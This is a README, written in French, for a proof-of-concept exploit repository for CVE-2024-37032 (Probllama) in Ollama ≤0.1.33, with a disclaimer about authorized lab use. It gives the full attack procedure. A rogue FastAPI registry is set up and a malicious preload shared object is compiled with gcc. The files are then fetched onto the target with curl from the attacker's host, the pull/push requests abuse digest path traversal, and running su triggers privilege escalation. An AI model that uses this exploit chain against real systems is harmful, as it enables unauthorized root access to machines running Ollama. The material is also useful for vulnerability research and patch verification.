
CVE-2024-37032 (Probllama) PoC pour Ollama ≤0.1.33 : traversée de chemin et écriture arbitraire de fichier via la gestion du digest de modèle, conduisant à une élévation automatique de privilèges.
Ce dépôt contient un serveur de registre FastAPI de preuve de concept, un script de connexion et une bibliothèque de démonstration de préchargement pour des tests en laboratoire autorisés.
Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez explicitement l'autorisation de tester.
server.py : démarre le serveur PoC FastAPI.rogue_server/config.py : configuration centrale pour le serveur PoC.connector.py : envoie les requêtes pull/push à l'API Ollama cible.preload_privs_demo.c : source C pour la charge utile d'objet partagé.requirements.txt : dépendances Python pour le serveur PoC.Sur votre machine hôte, installez les dépendances Python :
python -m pip install -r requirements.txt
Modifiez rogue_server/config.py sur votre machine hôte :
HOST = "<your_host_ip_or_host_ip>"
Modifiez connector.py :
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Notes :
SERVER_HOST doit pointer vers l'hôte exécutant server.py.8000, incluez le port dans HOST et SERVER_HOST, par exemple 10.10.16.160:8000.TARGET_HOST et TARGET_PORT doivent pointer vers l'API Ollama cible. Si connector.py est exécuté directement sur la machine cible, 127.0.0.1:11434 est généralement correct.rogue_server/config.py, redémarrez le serveur PoC.Compilez le fichier C et nommez la sortie libpreload_privs_demo.so :
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Copiez ces fichiers sur la machine cible autorisée :
libpreload_privs_demo.soconnector.pyUne façon simple est de les servir depuis votre machine hôte :
python3 -m http.server 8081
Ensuite, téléchargez-les depuis la machine cible :
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
Après avoir téléchargé l'objet partagé, copiez son chemin absolu sur la machine cible et définissez ce même chemin comme exploit_path dans rogue_server/config.py sur la machine hôte.
Exemple :
exploit_path = "/tmp/libpreload_privs_demo.so"
Démarrez le serveur FastAPI sur votre machine hôte :
python server.py
Par défaut, ce projet démarre Uvicorn sur 0.0.0.0:8000.
Sur la machine cible autorisée, exécutez :
python3 connector.py
Le connecteur envoie les requêtes pull et push à l'API Ollama configurée.
Une fois le connecteur terminé, exécutez :
su
Sur une cible de laboratoire vulnérable et correctement configurée, le chemin de préchargement devrait être utilisé et la transition de privilèges peut être observée.
SERVER_HOST dans connector.py correspond à HOST dans rogue_server/config.py.exploit_path est le chemin absolu exact où libpreload_privs_demo.so se trouve sur la machine cible.TARGET_HOST:TARGET_PORT.server.py après avoir modifié rogue_server/config.py.